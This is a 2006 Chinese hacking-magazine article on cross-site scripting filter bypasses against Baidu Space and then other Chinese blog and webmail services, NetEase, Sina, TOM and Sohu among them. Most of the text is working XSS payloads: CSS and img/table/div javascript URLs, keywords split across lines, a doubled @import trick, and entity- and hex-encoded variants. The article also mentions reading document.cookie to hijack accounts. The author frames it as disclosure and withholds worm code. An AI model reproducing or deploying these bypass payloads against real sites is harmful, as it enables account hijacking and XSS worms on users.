从百度空间到中国博客漏洞
发表于《黑客防线》06年11期
作者:梦之光芒(Monyer)
这几天总有朋友问我在十期黑防上介绍的ajax hacking的影响程度究竟有多大,并且如何针对现阶段的网络状况进行web2.0漏洞的测试及利用,这次借助黑防给大家看看仅对于其中的xss跨站漏洞,目前有哪些代码注入的方式,其影响力又有多大!
在真正的漏洞探索旅程开始之前,我先给大家介绍一下我以及好友daishuo在百度空间发现过的跨站漏洞利用方式以及百度对漏洞围杀的过程,相信这样你会对xss有一个具体的了解。
百度空间漏洞攻防战
最初百度空间的beta版事实上没有过滤任何代码,所以可以直接在空间的自定义css里插入js或vbs代码,譬如:
body{background:url(“javascript:alert('xss')”)}”
也是这时候百度蠕虫第一次出现(具体内容请看十期黑防)。后来百度对用户输入的”javascript”和”vbscript”以及” expression”进行了过滤,使得上述方法无法实现但是依然可以通过把”javascript”分两行写的方式进行绕过:
body {background:url(j
avascript:alert('xss'))}
在百度又一次过滤后我们的新方法是在文章编辑里插入:
<div style="width:0;height:0;background:url(javascript:document.body.onload=function(){alert('xss');});"></div>
然后百度开始过滤div中的”javascript”字符了。我接下来采取的突破方法是在插入外部图片连接地址中写入:
javascript:alert(/xss/)
当然很快就被修复了,然后我试着在百度音乐地址中插入事先构造好xss脚本的swf文件,同样可以达到了xss的目的。之后采取的是在文章编辑中插入图片代码:
<img src="javascript:alert(/xss/)" />
<img src="" onerror=alert("xss")>
这时百度开始过滤img中的javascript,所以接下来我的突破方法是在css中插入import:
@import "你要加载的css文件.css";
然后在外部调用的css里插入xss代码。也是这时我在百度的博客开始利用ajax增加了一些版块譬如日历、天气预报等百度所没有的版块。这次百度采取的过滤方式是把”import”字符转化为空格,但因为百度并不是单纯地过滤的,而是判断字符前后是否有非英文或数字存在——这样做的原因是怕”! important”和其他一些合法字符被过滤掉。于是有了新的破解方法:
@importimport "你要加载的css文件.css";
保存后百度会自动过滤掉后面的”import”。百度对于这种新利用方法的回应是对这样的输入不再进行过滤,于是利用方法再一次得到改进:
@import
import "你要加载的css文件.css";
即把两个import分两行来写,百度仍然会过滤掉后面一个,使语句完整。但后来再这样输入时,百度会把import全部过滤掉!这也宣布明码的xss代码注入告于段落。
接下来采取的方法就是加密xss代码了,由于过滤一般只是针对于譬如”javascript”或”vbscript”这样的关键字,所以方法之一是我们在字符串中插入空格或者回车字符进行绕过,因此利用形式如下:
<IMG SRC="jav ascript:alert('XSS');" >
<IMG SRC="jav
ascript:alert('XSS');" >
<IMG SRC="jav
ascript:alert('XSS');" >
其中” ”是tab空格的16进制写法、”
”和”
”是回车的16进制两种写法。当然你亦可以把他们用10进制表示(	和
\
)。方法二既是用转换工具对xss字符串进行进制转换(图1)(工具请到光盘中查找)。
图表 1
因此代码有了以下表现形式:
(1)<img src=” javascri pt:aler& #116;('XSS')& #59;”/>(&#十进制;形式)
(2)<img src=” javasc& #x0072;ipt:al ert('X& #x0053;S');”/>(&#x十六进制;形式)
(3)<DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076 \0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027 \0058\0053\0053\0027\0029\0029">test</DIV>(\十六进制形式)
或者用vbs及vbs的编码:
<img src="vbscript:msgbox(document.cookie)" />(图2)
图表 2
到结稿为止这些方法依然有效。那么接下来我们看看在其他博客空间又会有怎样的安全性呢?
中国博客xss漏洞初探
中国四大门户都有提供免费邮箱及博客服务,所以我们依次对其进行检测,为了体验效果这里使用的xss原始代码均为"javascript:alert('XSS');"。
网易博客
我们首先看网易最近推出的博客服务,因为网易没有自定义css的服务,所以我们只能从编辑文章下手。当我们在编辑文章中输入(1)或(2)代码并提交后会出现警告(图3),这说明网易事实上可以对标准的十进制或十六进制编码进行识别,但当我们输入(3)的代码时网易却没有进行有效识别,使xss跨站成为可能!(图4)
图表 3
图表 4
当然,由于代码没有长度限制,所以事实上你可以编写任意你想要的攻击代码并进行提交,余下的问题是怎么诱使网易其他用户浏览并对该代码进行传播。由于用js或vbs编写蠕虫是一个很复杂的过程且本人能力有限,因此这里不给出攻击代码。
新浪博客
接下来我们来看看新浪博客的安全性又会怎么样呢!
由于新浪的编辑器会查看src的头部是不是http,若不是则加上“http: //blog.sina.com.cn/control/writing/scriber/”,所以(1)(2)的<img>显然不行,但其实除了<img>和<div>可以插入xss语句,事实上<table>和<td>等只要支持插入背景的标签都支持脚本的插入,譬如:
<TABLE BACKGROUND="javascript:alert('XSS')">
<TD BACKGROUND="javascript:alert('XSS')">
因此更换标签加密后,顺利通过新浪检测!(图5)
图表 5
TOM博客
Tom的博客安全系统是我见过的最差的,因为它居然没有任何过滤设置,也因此上面所有的xss代码均可以顺利写入进行跨站。而且因为它采取的是本地cookies认证,那么如果我们构造代码记录其他用户的cookies,则我们可以拥有该用户的所有权限!(图6)
图表 6
搜狐博客
搜狐博客会过滤(1)(2)中的代码,但对(3)的代码依然无可奈何。(图7)
图表 7
而中国博客网和博客网也同样存在xss跨站漏洞(图8)(图9)
图表 8
图表 9
免费邮箱xss漏洞
除了博客服务,我也对各门户免费邮箱服务进行了检测,情景同样不容乐观!(图10)(图11)(图12)因为126的ajax功能会将邮件下载并保存到本地,所以居然无须打开邮件即会弹出alert窗口
图表 10
图表 11
图表 12
总结
其实这次的检测还包括msn、gmail、yahoo等几个国外站点,他们目前也是典型的web2.0使用站点,但是用以上xss方式却都没有出现类似问题,尤其是msn的过滤方式更令人称奇。这使人不禁对中国的门户产生不解,其实这些变换着方式的代码注入他们应该可以轻而易举进行屏蔽或过滤的,但不知道为什么却始终跟用户玩着冒险的游戏,对Samy和Yamanner所带来的危害和损失视而不见。
前些日子的百度受攻击事件已经证明个人攻击网站巨头亦不是一个神话,但愿中国的门户会清醒起来把安全放在首位,走得更安稳,走得更长远!